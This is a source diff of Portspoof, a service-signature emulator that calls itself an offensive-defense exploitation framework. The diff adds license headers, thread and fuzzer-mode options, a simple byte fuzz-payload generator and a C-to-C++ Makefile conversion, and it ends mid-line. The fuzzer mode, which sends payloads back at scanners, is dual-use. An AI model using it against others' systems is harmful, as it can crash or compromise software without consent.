diff --git a/src/Configuration.cpp b/src/Configuration.cpp index 041089b..28e0acd 100755 --- a/src/Configuration.cpp +++ b/src/Configuration.cpp @@ -1,3 +1,40 @@ +/* + * Portspoof - Service Signature Emulator / Offesnsive Defense Exploitation Framework + * Copyright (C) 12012 Piotr Duszyński + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, see . + * + * Linking portspoof statically or dynamically with other modules is making + * a combined work based on Portspoof. Thus, the terms and conditions of + * the GNU General Public License cover the whole combination. + * + * In addition, as a special exception, the copyright holder of Portspoof + * gives you permission to combine Portspoof with free software programs or + * libraries that are released under the GNU LGPL. You may copy + * and distribute such a system following the terms of the GNU GPL for + * Portspoof and the licenses of the other code concerned. + * + * Note that people who make modified versions of Portspoof are not obligated + * to grant this special exception for their modified versions; it is their + * choice whether to do so. The GNU General Public License gives permission + * to release a modified version without this exception; this exception + * also makes it possible to release a modified version which carries + * forward this exception. + */ + + + #include "Configuration.h" Configuration::Configuration() @@ -10,6 +47,7 @@ Configuration::Configuration() opts=0; nmapfuzzsignatures_file = std::string(NMAP_FUZZ_FILE_SIG); fuzzpayload_file = std::string(FUZZ_FILE_PAYLOAD); + thread_number=MAX_THREADS; return; } @@ -22,17 +60,19 @@ bool Configuration::getConfigValue(int value) void Configuration::usage(void) { fprintf(stdout,"Usage: portspoof [OPTION]...\n" - "Portspoof - service signature obfuscator.\n\n" - "-i bind to a user defined IP address\n" - "-p bind to a user defined PORT number\n" - "-s custom signture file\n" - "-c configuration file\n" - "-l log port scanning alerts to a file\n" - "-d disable syslog\n" - "-v be verbose\n" - "-f read fuzz payload list\n" - "-1 generate fuzzing payloads\n" - "-n nmap wrap fuzz signatures\n" + "Portspoof - service signature emulator / exploitation framework.\n\n" + "-i Bind to a particular IP address\n" + "-p Bind to a particular PORT number\n" + "-s Service signture regex. file\n" + "-c Portspoof configuration file\n" + "-l Log port scanning alerts to a file\n" + "-d Disable syslog\n" + "-v Be verbose\n" + "-f FUZZER_MODE: fuzzing payload file list \n" + "-n FUZZER_MODE: wrapping signatures file list\n" + "-1 FUZZER_MODE: generate fuzzing payloads internally\n" + "-3 FUZZER_MODE: Random int fuzzing!\n" + "-2 switch to simple reply mode (works for anything apart from Nmap)!\n" "-h display this help and exit\n\n" "Without any OPTION - use default values and continue\n"); @@ -62,7 +102,7 @@ bool Configuration::processArgs(int argc, char** argv) case 'c': this->configfile = std::string(optarg); this->opts[OPT_CONFIG_FILE]=1; - + fprintf(stdout,"-> Using user defined regex. signature file %s\n",this->configfile.c_str()); break; case 'v': this->opts[OPT_DEBUG]=1; @@ -76,20 +116,24 @@ bool Configuration::processArgs(int argc, char** argv) this->opts[OPT_LOG_FILE]=1; this->logfile = std::string(optarg); fprintf(stdout,"-> Using log file %s\n",this->logfile.c_str()); + + //check log file + Utils::log_create(configuration->getLogFile().c_str()); + break; case 'f': this->opts[OPT_FUZZ_WORDLIST]=1; this->fuzzpayload_file=std::string(optarg); - fprintf(stdout,"-> Reading fuzzing payloads from a file!\n"); + fprintf(stdout,"-> Reading fuzzing payloads from a file %s!\n",this->fuzzpayload_file.c_str()); break; case 'n': this->opts[OPT_FUZZ_NMAP]=1; this->nmapfuzzsignatures_file=std::string(optarg); - fprintf(stdout,"-> NMAP wrapper mode!\n"); + fprintf(stdout,"-> Payload wrapping mode!\n"); break; case '1': this->opts[OPT_FUZZ_INTERNAL]=1; - fprintf(stdout,"-> Generate fuzzing payloads!\n"); + fprintf(stdout,"-> Generate fuzzing payloads internally!\n"); break; case '2': this->opts[OPT_NOT_NMAP_SCANNER]=1; @@ -116,8 +160,10 @@ bool Configuration::processArgs(int argc, char** argv) } if(this->getConfigValue(OPT_FUZZ_NMAP) ||this->getConfigValue(OPT_FUZZ_WORDLIST) || this->getConfigValue(OPT_FUZZ_INTERNAL)) + { this->fuzzer=new Fuzzer(this); - + this->thread_number=1; + } return 0; } @@ -155,22 +201,16 @@ unsigned short int Configuration::getPort() return this->port; } + +int Configuration::getThreadNr() +{ + + return this->thread_number; +} + std::vector Configuration::mapPort2Signature(unsigned short port) { - /* - if(this->opts&OPT_FUZZ_WORDLIST - { - - std::string input_line; - std::getline(std::cin, input_line); - std::vector result_vector; - - for(int i=0; iopts[OPT_FUZZ_NMAP] || this->opts[OPT_FUZZ_INTERNAL] || this->opts[OPT_FUZZ_WORDLIST]) { std::vector result_vector; @@ -198,11 +238,11 @@ bool Configuration::processSignatureFile() fclose(fp); // set random mapping - //srand((unsigned)time(0)); + srand((unsigned)time(0)); for(int i=0;i + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, see . + * + * Linking portspoof statically or dynamically with other modules is making + * a combined work based on Portspoof. Thus, the terms and conditions of + * the GNU General Public License cover the whole combination. + * + * In addition, as a special exception, the copyright holder of Portspoof + * gives you permission to combine Portspoof with free software programs or + * libraries that are released under the GNU LGPL. You may copy + * and distribute such a system following the terms of the GNU GPL for + * Portspoof and the licenses of the other code concerned. + * + * Note that people who make modified versions of Portspoof are not obligated + * to grant this special exception for their modified versions; it is their + * choice whether to do so. The GNU General Public License gives permission + * to release a modified version without this exception; this exception + * also makes it possible to release a modified version which carries + * forward this exception. + */ + + + #ifndef CONFIG_H #define CONFIG_H @@ -23,8 +60,6 @@ #define MAX_PORTS 65535 -#define NMAP_FUZZ_FILE_SIG "nmapfuzzsignatures" -#define FUZZ_FILE_PAYLOAD "nmapfuzzpayloads" #include #include @@ -39,10 +74,13 @@ #include #include -#include "revregex.h" -#include "connection.h" #include "Utils.h" +#include "Threads.h" + + +#include "revregex.h" +#include "connection.h" using namespace std; @@ -62,6 +100,7 @@ class Configuration { std::string logfile; std::string bind_ip; unsigned short int port; + int thread_number; bitset<20> opts; Fuzzer* fuzzer; std::string nmapfuzzsignatures_file; @@ -87,6 +126,7 @@ class Configuration { std::string getFuzzPayloadFile(); bool getConfigValue(int value); unsigned short int getPort(); + int getThreadNr(); }; diff --git a/src/Fuzzer.cpp b/src/Fuzzer.cpp index 12507c1..64f5140 100755 --- a/src/Fuzzer.cpp +++ b/src/Fuzzer.cpp @@ -1,3 +1,39 @@ +/* + * Portspoof - Service Signature Emulator + * Copyright (C) 12012 Piotr Duszyński + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, see . + * + * Linking portspoof statically or dynamically with other modules is making + * a combined work based on Portspoof. Thus, the terms and conditions of + * the GNU General Public License cover the whole combination. + * + * In addition, as a special exception, the copyright holder of Portspoof + * gives you permission to combine Portspoof with free software programs or + * libraries that are released under the GNU LGPL. You may copy + * and distribute such a system following the terms of the GNU GPL for + * Portspoof and the licenses of the other code concerned. + * + * Note that people who make modified versions of Portspoof are not obligated + * to grant this special exception for their modified versions; it is their + * choice whether to do so. The GNU General Public License gives permission + * to release a modified version without this exception; this exception + * also makes it possible to release a modified version which carries + * forward this exception. + */ + + #include "Fuzzer.h" Fuzzer::Fuzzer() @@ -79,21 +115,16 @@ std::vector Fuzzer::GenerateFuzzPayload() std::vector result_vector; std::string str; - /* - for(int i=0;i<255;i++) - result_vector.push_back(i); - - return result_vector; - - if(this->configuration->getConfigValue(OPT_FUZZ_RANDOM)) { - this->payload_counter++; - return this->shortToBytes((unsigned short)this->payload_counter); + + for(int i=0;i<255;i++) + result_vector.push_back(i); + return result_vector; } - */ + if(this->payload_counter<10) { @@ -169,14 +200,3 @@ std::vector Fuzzer::GetFUZZ() } - - -/* -std::string input_line; -std::getline(std::cin, input_line); - - -for(int i=0; i + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, see . + * + * Linking portspoof statically or dynamically with other modules is making + * a combined work based on Portspoof. Thus, the terms and conditions of + * the GNU General Public License cover the whole combination. + * + * In addition, as a special exception, the copyright holder of Portspoof + * gives you permission to combine Portspoof with free software programs or + * libraries that are released under the GNU LGPL. You may copy + * and distribute such a system following the terms of the GNU GPL for + * Portspoof and the licenses of the other code concerned. + * + * Note that people who make modified versions of Portspoof are not obligated + * to grant this special exception for their modified versions; it is their + * choice whether to do so. The GNU General Public License gives permission + * to release a modified version without this exception; this exception + * also makes it possible to release a modified version which carries + * forward this exception. + */ + + + #ifndef FUZZER_H #define FUZZER_H @@ -24,6 +61,8 @@ using namespace std; +#define NMAP_FUZZ_FILE_SIG "nmapfuzzsignatures" +#define FUZZ_FILE_PAYLOAD "nmapfuzzpayloads" static const char* const fuzz_oracle[]= { diff --git a/src/Makefile.am b/src/Makefile.am index 481a9c3..685355a 100755 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -1,8 +1,8 @@ ## Process this file with automake to produce Makefile.in # File lists -headers = connection.h portspoof.h revregex.h threads.h log.h config_file.h -sources = connection.c portspoof.c revregex.c log.c config_file.c +headers = config.h Configuration.h connection.h Fuzzer.h Server.h revregex.h Threads.h Utils.h +sources = Configuration.cpp connection.cpp Fuzzer.cpp Portspoof.cpp Server.cpp revregex.cpp Utils.cpp # Unix executables bin_PROGRAMS = portspoof diff --git a/src/Makefile.in b/src/Makefile.in index 236881e..4e98657 100755 --- a/src/Makefile.in +++ b/src/Makefile.in @@ -1,8 +1,9 @@ -# Makefile.in generated by automake 1.10 from Makefile.am. +# Makefile.in generated by automake 1.11.1 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, -# 2003, 2004, 2005, 2006 Free Software Foundation, Inc. +# 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, +# Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. @@ -16,8 +17,9 @@ VPATH = @srcdir@ pkgdatadir = $(datadir)/@PACKAGE@ -pkglibdir = $(libdir)/@PACKAGE@ pkgincludedir = $(includedir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkglibexecdir = $(libexecdir)/@PACKAGE@ am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c @@ -43,21 +45,28 @@ am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ mkinstalldirs = $(install_sh) -d CONFIG_HEADER = config.h CONFIG_CLEAN_FILES = +CONFIG_CLEAN_VPATH_FILES = am__installdirs = "$(DESTDIR)$(bindir)" -binPROGRAMS_INSTALL = $(INSTALL_PROGRAM) PROGRAMS = $(bin_PROGRAMS) am__objects_1 = -am__objects_2 = portspoof-connection.$(OBJEXT) \ - portspoof-portspoof.$(OBJEXT) portspoof-revregex.$(OBJEXT) \ - portspoof-log.$(OBJEXT) portspoof-config_file.$(OBJEXT) +am__objects_2 = portspoof-Configuration.$(OBJEXT) \ + portspoof-connection.$(OBJEXT) portspoof-Fuzzer.$(OBJEXT) \ + portspoof-log.$(OBJEXT) portspoof-portspoof.$(OBJEXT) \ + portspoof-revregex.$(OBJEXT) portspoof-Utils.$(OBJEXT) am_portspoof_OBJECTS = $(am__objects_1) $(am__objects_2) portspoof_OBJECTS = $(am_portspoof_OBJECTS) portspoof_LDADD = $(LDADD) -portspoof_LINK = $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(portspoof_LDFLAGS) \ - $(LDFLAGS) -o $@ +portspoof_LINK = $(CXXLD) $(AM_CXXFLAGS) $(CXXFLAGS) \ + $(portspoof_LDFLAGS) $(LDFLAGS) -o $@ DEFAULT_INCLUDES = -I.@am__isrc@ depcomp = $(SHELL) $(top_srcdir)/auto/depcomp am__depfiles_maybe = depfiles +am__mv = mv -f +CXXCOMPILE = $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) \ + $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) +CXXLD = $(CXX) +CXXLINK = $(CXXLD) $(AM_CXXFLAGS) $(CXXFLAGS) $(AM_LDFLAGS) $(LDFLAGS) \ + -o $@ COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) CCLD = $(CC) @@ -78,6 +87,9 @@ CCDEPMODE = @CCDEPMODE@ CFLAGS = @CFLAGS@ CPP = @CPP@ CPPFLAGS = @CPPFLAGS@ +CXX = @CXX@ +CXXDEPMODE = @CXXDEPMODE@ +CXXFLAGS = @CXXFLAGS@ CYGPATH_W = @CYGPATH_W@ DEFS = @DEFS@ DEPDIR = @DEPDIR@ @@ -104,6 +116,7 @@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ PACKAGE_NAME = @PACKAGE_NAME@ PACKAGE_STRING = @PACKAGE_STRING@ PACKAGE_TARNAME = @PACKAGE_TARNAME@ +PACKAGE_URL = @PACKAGE_URL@ PACKAGE_VERSION = @PACKAGE_VERSION@ PATH_SEPARATOR = @PATH_SEPARATOR@ SET_MAKE = @SET_MAKE@ @@ -115,6 +128,7 @@ abs_srcdir = @abs_srcdir@ abs_top_builddir = @abs_top_builddir@ abs_top_srcdir = @abs_top_srcdir@ ac_ct_CC = @ac_ct_CC@ +ac_ct_CXX = @ac_ct_CXX@ am__include = @am__include@ am__leading_dot = @am__leading_dot@ am__quote = @am__quote@ @@ -157,12 +171,13 @@ sharedstatedir = @sharedstatedir@ srcdir = @srcdir@ sysconfdir = @sysconfdir@ target_alias = @target_alias@ +top_build_prefix = @top_build_prefix@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ # File lists -headers = connection.h portspoof.h revregex.h threads.h log.h config_file.h -sources = connection.c portspoof.c revregex.c log.c config_file.c +headers = config_file.h config.h Configuration.h connection.h Fuzzer.h log.h portspoof.h revregex.h Threads.h Utils.h +sources = Configuration.cpp connection.cpp Fuzzer.cpp log.cpp portspoof.cpp revregex.cpp Utils.cpp portspoof_SOURCES = $(headers) $(sources) # Threads @@ -174,19 +189,19 @@ all: config.h $(MAKE) $(AM_MAKEFLAGS) all-am .SUFFIXES: -.SUFFIXES: .c .o .obj +.SUFFIXES: .cpp .o .obj $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ - cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \ - && exit 0; \ + ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ + && { if test -f $@; then exit 0; else break; fi; }; \ exit 1;; \ esac; \ done; \ - echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/Makefile'; \ - cd $(top_srcdir) && \ - $(AUTOMAKE) --gnu src/Makefile + echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/Makefile'; \ + $(am__cd) $(top_srcdir) && \ + $(AUTOMAKE) --gnu src/Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ @@ -204,6 +219,7 @@ $(top_srcdir)/configure: $(am__configure_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(ACLOCAL_M4): $(am__aclocal_m4_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(am__aclocal_m4_deps): config.h: stamp-h1 @if test ! -f $@; then \ @@ -215,7 +231,7 @@ stamp-h1: $(srcdir)/config.h.in $(top_builddir)/config.status @rm -f stamp-h1 cd $(top_builddir) && $(SHELL) ./config.status src/config.h $(srcdir)/config.h.in: $(am__configure_deps) - cd $(top_srcdir) && $(AUTOHEADER) + ($(am__cd) $(top_srcdir) && $(AUTOHEADER)) rm -f stamp-h1 touch $@ @@ -224,23 +240,37 @@ distclean-hdr: install-binPROGRAMS: $(bin_PROGRAMS) @$(NORMAL_INSTALL) test -z "$(bindir)" || $(MKDIR_P) "$(DESTDIR)$(bindir)" - @list='$(bin_PROGRAMS)'; for p in $$list; do \ - p1=`echo $$p|sed 's/$(EXEEXT)$$//'`; \ - if test -f $$p \ - ; then \ - f=`echo "$$p1" | sed 's,^.*/,,;$(transform);s/$$/$(EXEEXT)/'`; \ - echo " $(INSTALL_PROGRAM_ENV) $(binPROGRAMS_INSTALL) '$$p' '$(DESTDIR)$(bindir)/$$f'"; \ - $(INSTALL_PROGRAM_ENV) $(binPROGRAMS_INSTALL) "$$p" "$(DESTDIR)$(bindir)/$$f" || exit 1; \ - else :; fi; \ - done + @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \ + for p in $$list; do echo "$$p $$p"; done | \ + sed 's/$(EXEEXT)$$//' | \ + while read p p1; do if test -f $$p; \ + then echo "$$p"; echo "$$p"; else :; fi; \ + done | \ + sed -e 'p;s,.*/,,;n;h' -e 's|.*|.|' \ + -e 'p;x;s,.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/' | \ + sed 'N;N;N;s,\n, ,g' | \ + $(AWK) 'BEGIN { files["."] = ""; dirs["."] = 1 } \ + { d=$$3; if (dirs[d] != 1) { print "d", d; dirs[d] = 1 } \ + if ($$2 == $$4) files[d] = files[d] " " $$1; \ + else { print "f", $$3 "/" $$4, $$1; } } \ + END { for (d in files) print "f", d, files[d] }' | \ + while read type dir files; do \ + if test "$$dir" = .; then dir=; else dir=/$$dir; fi; \ + test -z "$$files" || { \ + echo " $(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files '$(DESTDIR)$(bindir)$$dir'"; \ + $(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files "$(DESTDIR)$(bindir)$$dir" || exit $$?; \ + } \ + ; done uninstall-binPROGRAMS: @$(NORMAL_UNINSTALL) - @list='$(bin_PROGRAMS)'; for p in $$list; do \ - f=`echo "$$p" | sed 's,^.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/'`; \ - echo " rm -f '$(DESTDIR)$(bindir)/$$f'"; \ - rm -f "$(DESTDIR)$(bindir)/$$f"; \ - done + @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \ + files=`for p in $$list; do echo "$$p"; done | \ + sed -e 'h;s,^.*/,,;s/$(EXEEXT)$$//;$(transform)' \ + -e 's/$$/$(EXEEXT)/' `; \ + test -n "$$list" || exit 0; \ + echo " ( cd '$(DESTDIR)$(bindir)' && rm -f" $$files ")"; \ + cd "$(DESTDIR)$(bindir)" && rm -f $$files clean-binPROGRAMS: -test -z "$(bin_PROGRAMS)" || rm -f $(bin_PROGRAMS) @@ -254,140 +284,174 @@ mostlyclean-compile: distclean-compile: -rm -f *.tab.c -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-config_file.Po@am__quote@ +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Configuration.Po@am__quote@ +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Fuzzer.Po@am__quote@ +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Utils.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-connection.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-log.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-portspoof.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-revregex.Po@am__quote@ -.c.o: -@am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< -@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(COMPILE) -c $< +.cpp.o: +@am__fastdepCXX_TRUE@ $(CXXCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXXCOMPILE) -c -o $@ $< -.c.obj: -@am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'` -@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(COMPILE) -c `$(CYGPATH_W) '$<'` +.cpp.obj: +@am__fastdepCXX_TRUE@ $(CXXCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'` +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXXCOMPILE) -c -o $@ `$(CYGPATH_W) '$<'` -portspoof-connection.o: connection.c -@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-connection.o -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.o `test -f 'connection.c' || echo '$(srcdir)/'`connection.c -@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='connection.c' object='portspoof-connection.o' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-connection.o `test -f 'connection.c' || echo '$(srcdir)/'`connection.c +portspoof-Configuration.o: Configuration.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Configuration.o -MD -MP -MF $(DEPDIR)/portspoof-Configuration.Tpo -c -o portspoof-Configuration.o `test -f 'Configuration.cpp' || echo '$(srcdir)/'`Configuration.cpp +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Configuration.Tpo $(DEPDIR)/portspoof-Configuration.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Configuration.cpp' object='portspoof-Configuration.o' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Configuration.o `test -f 'Configuration.cpp' || echo '$(srcdir)/'`Configuration.cpp -portspoof-connection.obj: connection.c -@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-connection.obj -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.obj `if test -f 'connection.c'; then $(CYGPATH_W) 'connection.c'; else $(CYGPATH_W) '$(srcdir)/connection.c'; fi` -@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='connection.c' object='portspoof-connection.obj' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-connection.obj `if test -f 'connection.c'; then $(CYGPATH_W) 'connection.c'; else $(CYGPATH_W) '$(srcdir)/connection.c'; fi` +portspoof-Configuration.obj: Configuration.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Configuration.obj -MD -MP -MF $(DEPDIR)/portspoof-Configuration.Tpo -c -o portspoof-Configuration.obj `if test -f 'Configuration.cpp'; then $(CYGPATH_W) 'Configuration.cpp'; else $(CYGPATH_W) '$(srcdir)/Configuration.cpp'; fi` +@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Configuration.Tpo $(DEPDIR)/portspoof-Configuration.Po +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Configuration.cpp' object='portspoof-Configuration.obj' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Configuration.obj `if test -f 'Configuration.cpp'; then $(CYGPATH_W) 'Configuration.cpp'; else $(CYGPATH_W) '$(srcdir)/Configuration.cpp'; fi` -portspoof-portspoof.o: portspoof.c -@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-portspoof.o -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.o `test -f 'portspoof.c' || echo '$(srcdir)/'`portspoof.c -@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='portspoof.c' object='portspoof-portspoof.o' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-portspoof.o `test -f 'portspoof.c' || echo '$(srcdir)/'`portspoof.c +portspoof-connection.o: connection.cpp +@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-connection.o -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o 